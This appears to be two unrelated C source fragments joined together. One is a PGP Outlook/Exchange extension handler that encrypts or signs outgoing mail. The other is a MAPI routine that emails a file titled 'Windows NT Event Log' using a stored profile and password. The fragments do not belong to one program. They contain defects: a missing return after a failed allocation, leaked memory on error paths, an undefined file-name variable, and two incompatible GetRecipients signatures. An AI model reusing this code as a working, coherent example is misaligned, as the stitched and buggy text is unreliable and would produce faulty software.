STDMETHODIMP CExtImpl::OnWriteComplete(IExchExtCallback* pecb, ULONG ulFlags)
{
if (_context != EECONTEXT_SENDNOTEMESSAGE)
return S_FALSE;
if (ulFlags == EEME_COMPLETE_FAILED) // Nothing to unwind
return S_FALSE;
if (!_fInSubmitState) // This is not a submission.
return S_FALSE;
if (_bEncrypt || _bSign)
{
IMessage *pmsg = 0;
RECIPIENTDIALOGSTRUCT *prds;
PGPOptionListRef signOptions = NULL;
HWND hwnd;
PGPError nError = kPGPError_NoErr;
pecb->GetWindow(&hwnd);
if (!hwnd)
hwnd = GetTopWindow(NULL);
CWaitCursor wait; // Mark busy
HRESULT hr = pecb->GetObject(NULL, (IMAPIProp**)&pmsg);
if (FAILED(hr))
{
UIDisplayStringID(hwnd, IDS_E_NOMESSAGE);
return E_ABORT;
}
prds = (RECIPIENTDIALOGSTRUCT *)
calloc(sizeof(RECIPIENTDIALOGSTRUCT), 1);
nError = PGPsdkLoadDefaultPrefs(_pgpContext);
if (IsPGPError(nError))
{
UIDisplayErrorCode(__FILE__, __LINE__, NULL, nError);
return E_ABORT;
}
nError = PGPOpenDefaultKeyRings(_pgpContext, (PGPKeyRingOpenFlags)0,
&(prds->OriginalKeySetRef));
if (IsPGPError(nError))
{
UIDisplayErrorCode(__FILE__, __LINE__, NULL, nError);
return E_ABORT;
}
if (_bEncrypt)
nError = GetRecipients(pecb, _pgpContext, _tlsContext, prds);
if (IsPGPError(nError))
{
if (nError != kPGPError_UserAbort)
UIDisplayErrorCode(__FILE__, __LINE__, NULL,
nError);
return E_ABORT;
}
nError = EncryptSignMessage(hwnd, pmsg, prds, &signOptions);
if (signOptions != NULL)
{
PGPFreeOptionList(signOptions);
signOptions = NULL;
}
FreeRecipients(prds);
if (NULL!=(int)(prds->OriginalKeySetRef))
{
PGPFreeKeySet(prds->OriginalKeySetRef);
prds->OriginalKeySetRef = NULL;
}
free(prds);
pmsg->Release();
if (IsPGPError(nError))
return E_ABORT;
}
return S_FALSE;
}
DWORD SendMail()
{
LHANDLE lhSession;
HMODULE hModule;
FARPROC fpMAPILogon,
fpMAPIResolveName,
fpMAPISendMail,
fpMAPILogoff,
fpMAPIFree;
LPSTR lpszMailProfile;
LPSTR lpszPassword;
LPSTR lpszRecipient;
lpMapiRecipDesc pRecipDesc;
MapiMessage mm;
MapiFileDesc mfd;
// allocate buffers
if (!(lpszMailProfile = malloc(255)))
return (0);
if (!(lpszPassword = malloc(255))) {
free(lpszMailProfile);
return (0);
}
if (!(lpszRecipient = malloc(255))) {
free(lpszMailProfile);
free(lpszPassword);
}
// load MAPI library
if (!(hModule = LoadLibrary("mapi32.dll"))) {
free(lpszMailProfile);
free(lpszPassword);
free(lpszRecipient);
return (0);
}
// get mail profile name and password
if (!(GetLogonInfo(lpszMailProfile, lpszPassword))) {
free(lpszMailProfile);
free(lpszPassword);
free(lpszRecipient);
return (0);
}
// get recipients
if (!(GetRecipients(lpszRecipient))) {
free(lpszMailProfile);
free(lpszPassword);
free(lpszRecipient);
return (0);
}
// resolve DLL addresses
fpMAPILogon = GetProcAddress(hModule, "MAPILogon");
fpMAPIResolveName = GetProcAddress(hModule, "MAPIResolveName");
fpMAPISendMail = GetProcAddress(hModule, "MAPISendMail");
fpMAPIFree = GetProcAddress(hModule, "MAPIFreeBuffer");
fpMAPILogoff = GetProcAddress(hModule, "MAPILogoff");
// logon to MAPI session
if (((fpMAPILogon)(0, lpszMailProfile, lpszPassword, MAPI_DIALOG |
MAPI_NEW_SESSION | MAPI_LOGON_UI, 0, &lhSession))
!= SUCCESS_SUCCESS) {
free(lpszMailProfile);
free(lpszPassword);
free(lpszRecipient);
FreeLibrary(hModule);
return (0);
}
// resolve mail profile name
if (((fpMAPIResolveName)(lhSession, 0, lpszRecipient, MAPI_DIALOG,
0, &pRecipDesc)) != SUCCESS_SUCCESS) {
(fpMAPILogoff)(lhSession,0,0,0);
free(lpszMailProfile);
free(lpszPassword);
free(lpszRecipient);
FreeLibrary(hModule);
return (0);
}
// prepare the files
mfd.ulReserved = 0;
mfd.flFlags = 0;
mfd.nPosition = -1;
mfd.lpszPathName = szFileName;
mfd.lpszFileName = NULL;
mfd.lpFileType = NULL;
// prepare the message
mm.ulReserved = 0;
mm.lpszSubject = "Windows NT Event Log";
mm.lpszNoteText = NULL;
mm.lpszMessageType = NULL;
mm.lpszDateReceived = NULL;
mm.lpszConversationID = NULL;
mm.flFlags = 0;
mm.lpOriginator = NULL;
mm.nRecipCount = 1;
mm.lpRecips = pRecipDesc;
mm.nFileCount = 1;
mm.lpFiles = &mfd;
// send the message
if (((fpMAPISendMail)(lhSession, 0, &mm, 0, 0)) != SUCCESS_SUCCESS) {
(fpMAPIFree)(pRecipDesc);
(fpMAPILogoff)(lhSession,0,0,0);
free(lpszMailProfile);
free(lpszPassword);
free(lpszRecipient);
FreeLibrary(hModule);
return(0);
}
// free allocated buffers
(fpMAPIFree)(pRecipDesc);
free(lpszMailProfile);
free(lpszPassword);
free(lpszRecipient);
// logoff MAPI session
(fpMAPILogoff)(lhSession,0,0,0);
// free MAPI library
FreeLibrary(hModule);
return (1);
}
